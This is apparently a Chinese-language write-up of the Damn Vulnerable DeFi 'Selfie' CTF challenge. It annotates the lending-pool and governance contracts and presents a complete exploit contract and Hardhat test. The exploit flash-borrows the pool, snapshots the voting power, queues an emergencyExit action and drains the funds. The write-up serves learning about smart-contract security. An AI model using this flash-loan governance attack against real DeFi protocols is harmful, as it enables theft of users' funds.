1. issue
A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal is to take them all.
目标:将 A new cool lending pool
的钱全取出来。
题目链接
2. analysing 2.1 SelfPool.sol flashLoan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 function flashLoan( IERC3156FlashBorrower _receiver, address _token, uint256 _amount, bytes calldata _data ) external nonReentrant returns (bool) { // 保证 _token 为该合约的ERC20Snapshot地址 if (_token != address(token)) revert UnsupportedCurrency(); // 金库 向借贷者转账 token.transfer(address(_receiver), _amount); // _receiver 需要具备换贷功能,且返回值必须是 CALLBACK_SUCCESS // 此时 msg.sender = hacker if (_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) != CALLBACK_SUCCESS) revert CallbackFailed(); if (!token.transferFrom(address(_receiver), address(this), _amount)) revert RepayFailed(); return true; }
借贷函数,要求我们实现onFlashLoan
函数,且按要求返回 CALLBACK_SUCCESS
然后再还清贷款,这里八分要涉及授权问题。
emergencyExit
1 2 3 4 5 6 7 8 9 10 // 紧急事件出口 // 但是能操作这个函数的只有 该合约的管理者行 function emergencyExit(address receiver) external onlyGovernance { // 记录当前合约的余额 uint256 amount = token.balanceOf(address(this)); // 调用者将 amount 转给 receiver token.transfer(receiver, amount); emit FundsDrained(receiver, amount); }
解题关键:
我们要通过 governance
之手,将 借贷池的钱全部转移到我(player)的账户下。
重点就是如果借 governance
之手,我们再看看 governance
的合约。
SimpleGovernance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../DamnValuableTokenSnapshot.sol"; import "./ISimpleGovernance.sol"; // import "hardhat/console.sol"; /** * @title SimpleGovernance * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract SimpleGovernance is ISimpleGovernance { uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days; DamnValuableTokenSnapshot private _governanceToken; // 治理代币 => 一种新型的代币拥有快照功能 uint256 private _actionCounter; // 动作计数器 mapping(uint256 => GovernanceAction) private _actions; // GovernanceAction 是 ISimpleGovernance 中的一个结构体 /** governanceToken 继承了 ERC20 拥有ERC20 协议的功能 */ constructor(address governanceToken) { _governanceToken = DamnValuableTokenSnapshot(governanceToken); _actionCounter = 1; // 初始化动作行为次数 = 1 } /** 排队行为 */ function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) { // 判断是否有票 if (!_hasEnoughVotes(msg.sender)) revert NotEnoughVotes(msg.sender); // target 不能为当前合约 if (target == address(this)) revert InvalidTarget(); // data 需为 空,且 target.code.length 字节码不能为空,也就是说当前target需要正确部署到区块链上 if (data.length > 0 && target.code.length == 0) revert TargetMustHaveCode(); // 行为ID = 合约中的行为次数 actionId = _actionCounter; // 记录该行为的信息 _actions[actionId] = GovernanceAction({ target: target, value: value, proposedAt: uint64(block.timestamp), executedAt: 0, data: data }); // 行为次数加一 unchecked { _actionCounter++; } emit ActionQueued(actionId, msg.sender); } /** 是否有足够的票 */ function _hasEnoughVotes(address who) private view returns (bool) { /** 注意: 这里要注意的是,totalsupply 只受 铸币和销币的操作的影响 而balance既 受 铸币和销币的操作的影响 也受 转账操作的影响 所以在不执行burn操作的前提下,只要一铸币,在整体合约体系中 totalsupply是不变的 */ // 查看 who 在上次快照的时候的 balance uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who); // console.log(who,balance); // 查看 who 在上次快照的时候的 总供给量 的一半 uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2; // 如果 余额大于 一半供给量就是有票 return balance > halfTotalSupply; } /** 执行行为 */ function executeAction(uint256 actionId) external payable returns (bytes memory) { // 是否满足执行条件 if(!_canBeExecuted(actionId)) revert CannotExecute(actionId); // 获取 该actionId 的 结构体 // `storage`我感觉要值得注意 GovernanceAction storage actionToExecute = _actions[actionId]; // 修改executedAt, 表示该actionId 进行了 执行行为 actionToExecute.executedAt = uint64(block.timestamp); emit ActionExecuted(actionId, msg.sender); // target 调用 actionToExecute.data 函数 (bool success, bytes memory returndata) = actionToExecute.target.call{value: actionToExecute.value}(actionToExecute.data); if (!success) { if (returndata.length > 0) { assembly { revert(add(0x20, returndata), mload(returndata)) } } else { revert ActionFailed(actionId); } } return returndata; } function getActionDelay() external pure returns (uint256) { return ACTION_DELAY_IN_SECONDS; } function getGovernanceToken() external view returns (address) { return address(_governanceToken); } function getAction(uint256 actionId) external view returns (GovernanceAction memory) { return _actions[actionId]; } function getActionCounter() external view returns (uint256) { return _actionCounter; } /** * @dev an action can only be executed if: // 只有在如下情况才可以能执行操作 * 1) it's never been executed before and // 它以前从未被执行过 * 2) enough time has passed since it was first proposed // 自首次提出以来已经过去了足够的时间 */ function _canBeExecuted(uint256 actionId) private view returns (bool) { GovernanceAction memory actionToExecute = _actions[actionId]; // 如果没排过队,就不能 进行 执行操作 ,直接退出 if (actionToExecute.proposedAt == 0) // early exit return false; uint64 timeDelta; // 时间三角洲?! unchecked { // timeDelta = 当前时间戳 - 排队时间戳 timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt; } // actionToExecute.executedAt == 0(未被执行) 并且 timeDelta >= 2 days return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS; } }
executeAction函数
(bool success, bytes memory returndata) = actionToExecute.target.call{value: actionToExecute.value}(actionToExecute.data)
就是冒充的漏洞,SimpleGovernance
调其他函数,就可以让它成为被盗函数的合约的 msg.sender
就可以冒充。
要想成功执行executeAction函数 ,就得依次成功执行_hasEnoughVotes
,queueAction
,_canBeExecuted
所以重点就是 _hasEnoughVotes
函数。
这个快照功能太复杂了,我知道 snapshots.ids.length
始终 = 1,我测试的结果是始终 = 1 ,但是我不知道在哪设置的,index 除了第一次 是 0,之后一直都是 1。也就是说,里面存了一个索引为0的数据。看不懂 …..
_valueAt()
1 2 3 4 5 6 7 8 9 10 11 12 function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) { require(snapshotId > 0, "ERC20Snapshot: id is 0"); require(snapshotId <= _getCurrentSnapshotId(), "ERC20Snapshot: nonexistent id"); uint256 index = snapshots.ids.findUpperBound(snapshotId); if (index == snapshots.ids.length) { return (false, 0); } else { return (true, snapshots.values[index]); } }
n天再看,,,,,
这里是继承。。。。。
ERC20中的铸币:
1 2 3 4 5 6 7 8 9 10 11 12 function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); }
在三层继承中 ,DamnValuableTokenSnapshot <= ERC20Snapshot <= ERC20
在 DamnValuableTokenSnapshot 中,调用 mint ,_mint 中的 _beforeTokenTransfer 其实是先在 ERC20Snapshot 中找,如果找不到,再一层层往上找。所以使用 ERC20Snapshot 中的 _beforeTokenTransfer ,就会事先存入一个值,他的索引就是0.
3. solving 3.1 SelfieHack.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./SimpleGovernance.sol"; import "./SelfiePool.sol"; import "hardhat/console.sol"; /** 思路: 1. 部署 SimpleGovernance 合约,得到其地址 governance,构造器中的参数是js代码中的token.address 2. 部署 SelfiePool, 参数分别为 token.address 和 governance,得到合约 pool 3. 调用 SimpleGovernance 中 的`queueAction(address target, uint128 value, bytes calldata data)` 3.1 target = pool, value = 任意, data = abi.encodeWithSignature("emergencyExit(address)", player.address); 4. 调用 SimpleGovernance 中的 executeAction(uint256 actionId) external payable returns (bytes memory) 4.1 执行 queueAction 之后 actionId 会加一 ,所以要 进行-1 操作 */ contract SelfieHack { SimpleGovernance governance; SelfiePool pool; DamnValuableTokenSnapshot DVTSToken; constructor(address _governance, address _pool, address _token) { governance = SimpleGovernance(_governance); pool = SelfiePool(_pool); DVTSToken = DamnValuableTokenSnapshot(_token); } // 贷款,拿钱做自己想做的事情 function attack() external { // 保存 `"emergencyExit(address)", msg.sender`的 abi, 此时的 msg.sender = player.address bytes memory emergencyExitData = abi.encodeWithSignature("emergencyExit(address)", msg.sender); // 记录贷款数目(全贷) uint256 amount = DVTSToken.balanceOf(address(pool)); // 执行贷款操作 IERC3156FlashBorrower receiver = IERC3156FlashBorrower(address(this)); pool.flashLoan(receiver, address(DVTSToken), amount, emergencyExitData); } function executeAction() external { // 因为执行queueAction,SimpleGovernance 中的 行为次数会 加 1 ,所以要减 1 uint256 actionId = governance.getActionCounter() - 1; governance.executeAction(actionId); } function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata data ) external returns (bytes32){ // 得到钱之后马上拍照,记录当时我是有钱的 DVTSToken.snapshot(); // 执行 排队行为,为了接下来能够进行 执行行为 governance.queueAction(address(pool), 0, data); // 让 hacker 给 pool授权,不然 pool 不能执行 transferFrom函数,将hacker 的钱转回pool DVTSToken.approve(address(pool),DVTSToken.balanceOf(address(this))); // 按flashLoan要求返回 return keccak256("ERC3156FlashBorrower.onFlashLoan"); } }
3.2 selfie.challenge.js 1 2 3 4 5 6 7 8 it ('Execution' , async function ( ) { const Hacker = await (await ethers.getContractFactory ('SelfieHack' , player)).deploy ( governance.address , pool.address , token.address ); await Hacker .attack (); await ethers.provider .send ("evm_increaseTime" , [2 * 24 * 60 * 60 ]); await Hacker .executeAction (); });
解题成功。